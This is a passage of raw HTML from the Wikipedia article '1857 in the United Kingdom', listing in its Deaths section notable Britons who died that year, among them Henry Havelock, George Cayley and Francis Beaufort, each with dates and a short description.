href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=6">edit</a><span class="mw-editsection-bracket">]</span></span></h2><ul><li>1 January – <a title="John Britton (antiquary)" href="https://en.wikipedia.org/wiki/John_Britton_(antiquary)">John Britton</a>, antiquary and topographer (born 1771)</li><li>2 January – <a title="Andrew Ure" href="https://en.wikipedia.org/wiki/Andrew_Ure">Andrew Ure</a>, doctor and writer (born 1778)</li><li>20 January – <a title="John Manners, 5th Duke of Rutland" href="https://en.wikipedia.org/wiki/John_Manners,_5th_Duke_of_Rutland">John Manners, 5th Duke of Rutland</a> (born 1778)</li><li>10 February – <a title="David Thompson (explorer)" href="https://en.wikipedia.org/wiki/David_Thompson_(explorer)">David Thompson</a>, explorer (born 1770)</li><li>18 February – <a title="Francis Egerton, 1st Earl of Ellesmere" href="https://en.wikipedia.org/wiki/Francis_Egerton,_1st_Earl_of_Ellesmere">Francis Egerton, 1st Earl of Ellesmere</a>, politician (born 1800)</li><li>22 February – <a title="Henry Lascelles, 3rd Earl of Harewood" href="https://en.wikipedia.org/wiki/Henry_Lascelles,_3rd_Earl_of_Harewood">Henry Lascelles, 3rd Earl of Harewood</a>, peer and Member of Parliament (born 1797)</li><li>13 March – <a title="William Amherst, 1st Earl Amherst" href="https://en.wikipedia.org/wiki/William_Amherst,_1st_Earl_Amherst">William Amherst, 1st Earl Amherst</a>, diplomat and peer (born 1773)</li><li>11 May – <a title="Granville Waldegrave, 2nd Baron Radstock" href="https://en.wikipedia.org/wiki/Granville_Waldegrave,_2nd_Baron_Radstock">Granville Waldegrave, 2nd Baron Radstock</a>, naval officer (born 1786)</li><li>16 May – Sir <a title="William Lloyd (mountaineer)" href="https://en.wikipedia.org/wiki/William_Lloyd_(mountaineer)">William Lloyd</a>, soldier and mountaineer (born 1782)</li><li>27 May – <a title="George Anson (British Army officer, born 1797)" href="https://en.wikipedia.org/wiki/George_Anson_(British_Army_officer,_born_1797)">George Anson</a>, army officer and Whig politician (born 1797)</li><li>12 August – <a title="William Conybeare (geologist)" href="https://en.wikipedia.org/wiki/William_Conybeare_(geologist)">William Conybeare</a>, dean of Llandaff (born 1787)</li><li>16 August – <a title="John Jones, Talysarn" href="https://en.wikipedia.org/wiki/John_Jones,_Talysarn">John Jones, Talysarn</a>, leading non-conformist minister (born 1796)</li><li>24 November – <a title="Henry Havelock" href="https://en.wikipedia.org/wiki/Henry_Havelock">Sir Henry Havelock</a>, general (born 1795)</li><li>30 November – <a title="Mary Buckland" href="https://en.wikipedia.org/wiki/Mary_Buckland">Mary Buckland</a>, palaeontologist and marine biologist (born 1797)</li><li>15 December – <a class="mw-redirect" title="Sir George Cayley" href="https://en.wikipedia.org/wiki/Sir_George_Cayley">Sir George Cayley</a>, aviation pioneer (born 1773)</li><li>17 December – <a title="Francis Beaufort" href="https://en.wikipedia.org/wiki/Francis_Beaufort">Sir Francis Beaufort</a>, naval officer and hydrographer (born 1774)</li></ul></div></div></div>